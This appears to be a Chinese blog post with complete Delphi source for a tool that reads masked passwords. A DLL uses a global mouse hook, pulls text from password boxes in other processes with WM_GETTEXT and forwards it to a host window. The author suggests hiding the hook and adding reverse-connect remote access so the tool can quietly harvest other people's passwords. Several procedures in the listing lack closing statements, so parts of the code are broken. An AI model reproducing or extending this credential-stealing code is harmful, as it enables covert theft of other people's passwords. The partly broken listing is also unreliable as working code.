Windows文本框星号密码查看器

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1、 设计原理：注册一个系统级鼠标挂钩，通过监测系统鼠标所在Windows窗口来获取密码，成功获取密码之后，通过发送自定义的Windows系统消息，到宿主程序。

2、 动态链接库设计原理：采用Windows Hook技术[鼠标挂钩]，切入远程进程内部，并监测当前系统鼠标所在位置的当然窗口句柄(通过Windows APIWindowFromPoint())，获取窗口句柄之后，判断当然窗口是否为文本框，并进一步判断是否为密码框，当发现是密码输入框时，当此窗口发送WM_GETTEXT消息，获取密码。成功获取密码之后，发现自定义的WM_COPYDATA消息到宿主程序；Hook

具体实现步骤简介：

1．设置系统鼠标挂钩：

hkMouseHook := SetWindowsHookEx(WH_MOUSE,@CXX_MouseHookProc,hInstance,0);

2．注销系统鼠标挂钩：

UnHookWindowsHookEx(hkMouseHook);

3．监测当然窗口及窗口风格判断：

MousePos := pMhs.pt;

wnd := WindowFromPoint(pmhs.pt);

style := GetWindowLong(wnd,GWL_STYLE);

if (style and ES_PASSWORD) = ES_PASSWORD then

begin

//发现密码窗口

end;

4．向密码框获取密码串：

SendMessage(wnd,WM_GETTEXT,256,Integer(@MouseTitle[0]));

5．发送自定义消息到宿主程序：

GetMem(pmi,sizeof(TMouseInfo));

pmi.MouseX := pt.X;

pmi.MouseY := pt.Y;

pmi.MouseTitle := pwd;

GetMem(pcds,sizeof(TCopyDataStruct));

pcds.dwData := 9910;

pcds.cbData := sizeof(TMouseInfo);

pcds.lpData := pmi;

SendMessage(hDec,WM_COPYDATA,0,LPARAM(pcds));

3、 宿主程序设计原理：我的宿主程序是自己学习Windows SDK开发时作品，采用纯SDK实现。SDK的编程不用废话了吧。在这个工具程序中，只需要在系统消息处理方法中，增加一个对WM_COPYDATA的拦截及处理过程就可能了。

case uMsg of

WM_COPYDATA:

begin

CXX_ReceiveCopyData(uMsg);

end;

……

end;

4、 应用技术提点：这个是本人在2002年学习Microsoft Windows SDK编程技术时的学习作品。当然，有兴趣的话，你完全可以将其Hook进一步进行隐藏，并为其增加“端口反弹”或者“半连接”功能，宿主程序可以是自己的远程XXXXXX，哈哈，这样发布出来的话，想知道的东西就多了……

5、 完整源码代码：

1．鼠标挂钩部分：Hook

{

产品名称： Windows　密码工具[Window98/NT/2000/XP]

功能描述：截取Windows密码编辑框中的密码串

采用纯粹的SDK开发

能捕捉windows98/NT/2000/XP的密码框中的"＊"密码

开发平台： Windows2000 + Delphi6 + MSDN + SDK

开发者：成晓旭

模块设计者：成晓旭

设计思路：采用Windows Hook技术[鼠标挂钩],切入远程进程内部,

再发送WM_GETTEXT消息截取密码,最后用SendMessage发送

WM_COPYDATA消息自定义的密码信息结构体到目标窗口,以

显示或处理Hook DLL所截取的远程进程的密码.

开始时间： 2002年3月4日

完成时间： 2002年5月24日[最终实现]

备注：此工具是本人在2002年开发的第二个软件

本工具在2000年6月份左右曾实现过一个Windows98下的

密码截取工具,两年以来,我一直没有放弃过实现Windows

操作系统下的所有密码的截取,如此,终于实现了两年以来

未曾实现的截取WindowsNT系列的密码.[2002/05/24]

以后的路还很长:WindowNT系列的当前用户登录密码、

内存长驻的其它密码等等.

}

unit MouseHook;

interface

uses

Messages,Windows;//,SysUtils;

var

hkMouseHook:HHook;

ProcSafelyExit:Pointer;

uCXXMsg:UINT;

procedure DllEntryProc(ul_reason_for_call:DWORD);

procedure SetupHook(fSet:boolean);stdcall;export;

function CXX_MouseHookProc(iCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;export;

procedure AutoUnInstallHook();far;

implementation

uses DataStruct;

procedure CXX_SendCopyData(pt:TPoint;pwd:TMTitle);

var

pcds:PCopyDataStruct;

pmi:PMouseInfo;

hDec:THandle;

begin

hDec:=Findwindow(Nil,'WM_COPYDATA接收端');

if hDec = 0 then

begin

MessageBox(0,'数据接收窗口没有找到，程序拒绝发送WM_COPYDATA消息！','提示',MB_OK or MB_ICONWARNING);

Exit;

end;

try

GetMem(pmi,sizeof(TMouseInfo));

pmi.MouseX := pt.X;

pmi.MouseY := pt.Y;

pmi.MouseTitle := pwd;

GetMem(pcds,sizeof(TCopyDataStruct));

pcds.dwData := 9910;

pcds.cbData := sizeof(TMouseInfo);

pcds.lpData := pmi;

SendMessage(hDec,WM_COPYDATA,0,LPARAM(pcds));

//PostMessage(hDec,WM_COPYDATA,Handle,LPARAM(pcds));

finally

FreeMem(pmi);

FreeMem(pcds);

end;

function CXX_MouseHookProc(iCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;export;

var

pMhs:PMOUSEHOOKSTRUCT;

wnd:HWND;

style:LongInt;

MousePos:TPoint;

MouseTitle:TMTitle;

begin

if iCode = HC_ACTION then

begin

FillChar(MouseTitle,255,0);

pMhs := PMOUSEHOOKSTRUCT(lParam);

MousePos := pMhs.pt;

wnd := WindowFromPoint(pmhs.pt);

style := GetWindowLong(wnd,GWL_STYLE);

if (style and ES_PASSWORD) = ES_PASSWORD then

begin

SendMessage(wnd,WM_GETTEXT,256,Integer(@MouseTitle[0]));

//发送截取的信息[]

CXX_SendCopyData(MousePos,MouseTitle);

end;

Result := CallNextHookEx(hkMouseHook,iCode,wParam,lParam);

end;

procedure SetupHook(fSet:boolean);stdcall;export;

begin

if fSet then

begin

if hkMouseHook <> 0 then Exit;

hkMouseHook := SetWindowsHookEx(WH_MOUSE,@CXX_MouseHookProc,hInstance,0);

//if hkMouseHook <> 0 then

// MessageBox(0,'鼠标挂钩安装成功！！！','挂钩提示',MB_ICONINFORMATION or MB_OK)

//else

// MessageBox(0,'鼠标挂钩安装失败！','挂钩提示',MB_ICONWARNING or MB_OK);

end

else

begin

if hkMouseHook <> 0 then

begin

UnHookWindowsHookEx(hkMouseHook);

hkMouseHook := 0;

//if hkMouseHook = 0 then

// MessageBox(0,'鼠标挂钩撤消成功！！！','挂钩提示',MB_ICONINFORMATION or MB_OK)

//else

// MessageBox(0,'鼠标挂钩撤消失败！','挂钩提示',MB_ICONWARNING or MB_OK);

end;

procedure DllEntryProc(ul_reason_for_call:DWORD);

begin

{

if ul_reason_for_call = DLL_PROCESS_ATTACH then

begin

MessageBox(0,'DLL_PROCESS_ATTACH','MouseDll Hint',MB_OK or MB_ICONINFORMATION);

//uCXXMsg := RegisterWindowMessage(SELF_MESSAGE_NAME);

end

else if ul_reason_for_call = DLL_PROCESS_DETACH then

begin

MessageBox(0,'DLL_PROCESS_DETACH','MouseDll Hint',MB_OK or MB_ICONINFORMATION);

end;

}

end;

procedure AutoUnInstallHook();

begin

if hkMouseHook <> 0 then

SetupHook(False);

ExitProc := ProcSafelyExit;

end;

end.

2．宿主程序部分：

此程序中，还有关于Windows程序资源加载以及窗口背景绘制等技术的演示。

{

产品名称： Windows　密码工具

功能描述：截取Windows密码编辑框中的密码串

采用纯粹的SDK开发

开发平台： Windows2000 + Delphi6 + MSDN + SDK

开发者：成晓旭

模块设计者：成晓旭

开始时间： 2002年3月4日

完成时间： 2002年3月4日

修改时间1： 2002年3月4日

备注：此工具是本人在2002年开发的第二个软件,

}

program MouseExe;

uses

Windows,

SysUtils,

Messages,

Tie_In_MHook in 'Tie_In_MHook.pas',

DataStruct in 'DataStruct.pas';

{$R MouseExe.res}

const

CXX_WND_CLASS = 'DC_Password'; //主窗口类名

CXX_WND_CAPTION = 'Window2000/XP 密码捕捉工具';

CXX_PASSKEY = 'chenxiaoxu';

MOUSE_MOVE_TIMER = WM_USER + 9910;

SELF_MESSAGE_NAME = 'CXX_Test_Window_Message';

var

hWndMain, //程序主窗口句柄

hBtnCheck, //程序发送按钮句柄

hBtnClose, //程序关闭按钮句柄

hStcPos, //鼠标位置提示

hStcTitle, //窗口标题提示

hEdtPos, //鼠标当前位置

hEdtTitle: //获取窗口标题

LongWord;

hInstMain: integer; //程序实例句柄

hBGBmp : HBITMAP; //主窗口背景图片句柄

hCur: HICON;

uCXXMsg: UINT;

procedure CXX_SendCopyData();

var

pcds:PCopyDataStruct;

pmi:PMouseInfo;

hDec:THandle;

begin

hDec:=Findwindow(Nil,'WM_COPYDATA接收端');

if hDec = 0 then

begin

MessageBox(hWndMain,'数据接收窗口没有找到，程序拒绝发送WM_COPYDATA消息！','提示',MB_OK or MB_ICONWARNING);

Exit;

end;

//try

GetMem(pmi,sizeof(TMouseInfo));

pmi.MouseX := 10;

pmi.MouseY := 50;

pmi.MouseTitle := 'chenxiaoxu';

GetMem(pcds,sizeof(TCopyDataStruct));

pcds.dwData := 9910;

pcds.cbData := sizeof(TMouseInfo);

pcds.lpData := pmi;

SendMessage(hDec,WM_COPYDATA,hWndMain,LPARAM(pcds));

//PostMessage(hDec,WM_COPYDATA,Handle,LPARAM(pcds));

//finally

FreeMem(pmi);

FreeMem(pcds);

//end;

end;

procedure CXX_ReceiveCopyData(Msg:TMessage);

var

str:string;

begin

str := IntToStr(PMouseInfo(PCOPYDATASTRUCT(Msg.LParam)^.lpData)^.MouseX);

str := str + IntToStr(PMouseInfo(PCOPYDATASTRUCT(Msg.LParam)^.lpData)^.MouseY);

end;

//绘制窗口位图背景函数

function CXX_DrawBGBitmap(fdc:HDC;fBitmap:HBitmap):boolean;

var

hdcMem:HDC;

rect:TRect;

bmp:Bitmap;

x,y:integer;

begin

// bmp := nil;

Result := False;

//主窗口背景图片尚未加载，不能绘制窗口背景

if fBitmap = 0 then Exit;

//获取绘图区域

GetClientRect(hWndMain,rect);

//创建兼容内存设备描述表

hdcMem := CreateCompatibleDC(fdc);

if hdcMem = 0 then Exit;

//设置位图对象

if (GetObject(fBitmap,sizeof(Bitmap),@bmp) = 0) then Exit;

//设置内存设备描述表内容

if NOT Boolean(SelectObject(hdcMem,fBitmap)) then Exit;

//绘制窗口背景图片

x := 0;

while(x <= rect.Right-rect.Left) do

begin

y := 0;

while(y <= rect.Bottom-rect.Top) do

begin

BitBlt(fdc,x,y,bmp.bmWidth,bmp.bmHeight,hdcMem,0,0,SRCCOPY);

y := y + bmp.bmHeight;

end;

x := x + bmp.bmWidth;

end;

Result := DeleteDC(hdcMem);

end;

{

function CXX_SetWinCaption():设置窗口对象标题函数

参数定义:

hWnd: 窗口对象句柄

pchText:窗口对象标题

}

procedure CXX_SetWinCaption(hWnd:hWND;pchText:PChar);

begin

SendMessage(hWnd,WM_SETTEXT,0,Integer(pchText));

//SetWindowText(hWnd,pchText);

end;

{

function CXX_GetWinCaption():取得按钮标题函数

参数定义:

hWnd: 按钮句柄

pchText:按钮标题

}

procedure CXX_GetWinCaption(hWnd:hWND;pchText:PChar);

begin

SendMessage(hWnd,WM_GETTEXT,255,Integer(pchText));

end;

procedure CXX_MouseMoveTimerProc(hWin:HWND;uMsg:UINT;idEvent:UINT;dwTime:DWORD);

begin

//MessageBox(hWin,'系统时间','提示',0);

end;

function CXX_SetProgramTimer(fSetTimer:boolean):boolean;

begin

Result := False;

if fSetTimer then

begin

//if SetTimer(hWndMain,MOUSE_MOVE_TIMER,3000,@CXX_MouseMoveTimerProc) <> 0 then

if SetTimer(hWndMain,MOUSE_MOVE_TIMER,100,nil) <> 0 then

Result := True;

end

else

begin

if KillTimer(hWndMain,MOUSE_MOVE_TIMER) then

Result := True;

end;

//主窗口消息回调函数

//function CXX_MainWindowProc(hWnd,uMsg,wParam,lParam:DWord):LRESULT;stdcall;

function CXX_MainWindowProc(hWnd:DWord;uMsg:TMessage;wParam,lParam:DWord):LRESULT;stdcall;

var

// pchPassword:PCHAR;

dc :HDC;

ps:PAINTSTRUCT;

begin

{

if uMsg = uCXXMsg then

begin

MessageBox(hWnd,'自定义消息来了！！！','Hint',0);

MessageBox(hWnd,PChar(lParam),'消息内容',0);

end;

}

case uMsg of

WM_COPYDATA:

begin

//MessageBox(hWndMain,'窗口接收WM_COPYDATA消息！','提示',MB_OK or MB_ICONWARNING);

CXX_ReceiveCopyData(uMsg);

end;

WM_CREATE:

begin

uCXXMsg := RegisterWindowMessage(SELF_MESSAGE_NAME);

end;

WM_RBUTTONDBLCLK: //$0206

PostQuitMessage(0);

WM_COMMAND: //$0111

begin

if lParam = hBtnClose then

begin

if MessageBox(hWnd,PChar('确定要退出【'+CXX_WND_CAPTION+'】吗？'),'确认',MB_YESNO or MB_ICONQUESTION) = IDYES then

PostQuitMessage(0);

end

else if lParam = hBtnCheck then

begin

//CXX_SetProgramTimer(True);

//PostMessage(HWND_BROADCAST,uCXXMsg,0,0);

//SetupHook(True);

CXX_SendCopyData();

end;

WM_PAINT:

begin

dc := BeginPaint(hWnd,ps);

if NOT CXX_DrawBGBitmap(dc,hBGBmp) then

MessageBox(hWnd,'绘制主窗口背景失败呢！','提示',MB_OK or MB_ICONWARNING);

end;

WM_DESTROY:

begin

CXX_SetProgramTimer(false);

Halt; //$0002:

end;

end; //End of Case

Result := DefWindowProc(hWnd,uMsg,wParam,lParam);

end;

//应用程序实例化

function CXX_InitInstance():boolean;

var

wndClass:TWndClass;

begin

hInstMain := hInstance;

hCur := LoadCursor(hInstMain,'HANDLE');

if hCur = 0 then

MessageBox(hWndMain,'加载主窗口背景图片失败！！！','提示',MB_OK or MB_ICONWARNING)

else

SetCursor(hCur);

hBGBmp := LoadBitmap(hInstMain,'BACKBMP');

if hBGBmp = 0 then

MessageBox(hWndMain,'加载主窗口背景图片失败！！！','提示',MB_OK or MB_ICONWARNING);

wndClass.cbClsExtra := 0;

wndClass.cbWndExtra := 0;

wndClass.hInstance := hInstMain;

wndClass.hIcon := 0;

wndClass.hCursor := LoadCursor(0,IDC_HAND);

wndClass.hbrBackground := CTLCOLOR_EDIT;

wndClass.lpfnWndProc := @CXX_MainWindowProc;

wndClass.lpszClassName := CXX_WND_CLASS;

wndClass.lpszMenuName := nil;

wndClass.style := CS_DBLCLKS;

Result := Boolean(RegisterClassA(wndClass));

end;

//主程序函数

procedure CXX_RunMainProgram();

var

myMsg:TMsg;

begin

if NOT CXX_InitInstance() then

Exit;

hWndMain := CreateWindowEx(WS_EX_CLIENTEDGE or WS_EX_TOPMOST,

CXX_WND_CLASS,CXX_WND_CAPTION,

WS_VISIBLE or WS_SYSMENU or WS_MINIMIZEBOX,

0,0,320,150,0,0,hInstMain,nil);

hStcPos := CreateWindowEx(0,'static','鼠标位置：',

WS_VISIBLE OR WS_CHILD,

5,10,80,20,

hWndMain,0,hInstMain,nil);

hEdtPos := CreateWindowEx(WS_EX_CLIENTEDGE,'Edit','',

WS_VISIBLE OR WS_CHILD,

100,10,200,20,

hWndMain,0,hInstMain,nil);

hStcTitle := CreateWindowEx(0,'static','获取密码：',

WS_VISIBLE OR WS_CHILD,

5,50,80,20,

hWndMain,0,hInstMain,nil);

hEdtTitle := CreateWindowEx(WS_EX_CLIENTEDGE,'Edit','',

WS_VISIBLE OR WS_CHILD,

100,50,200,20,

hWndMain,0,hInstMain,nil);

hBtnCheck := CreateWindowEx(WS_EX_STATICEDGE or WS_EX_CLIENTEDGE,'Button','发送消息',

WS_VISIBLE OR WS_CHILD,

10,85,100,30,

hWndMain,0,hInstMain,nil);

hBtnClose := CreateWindowEx(WS_EX_STATICEDGE or WS_EX_CLIENTEDGE,'Button','退出程序',

WS_VISIBLE OR WS_CHILD,

180,85,100,30,

hWndMain,0,hInstMain,nil);

//主程序函数循环

while(GetMessage(myMsg,hWndMain,0,0)) do

begin

TranslateMessage(myMsg);

DispatchMessage(myMsg);

end;

begin

CXX_RunMainProgram();

end.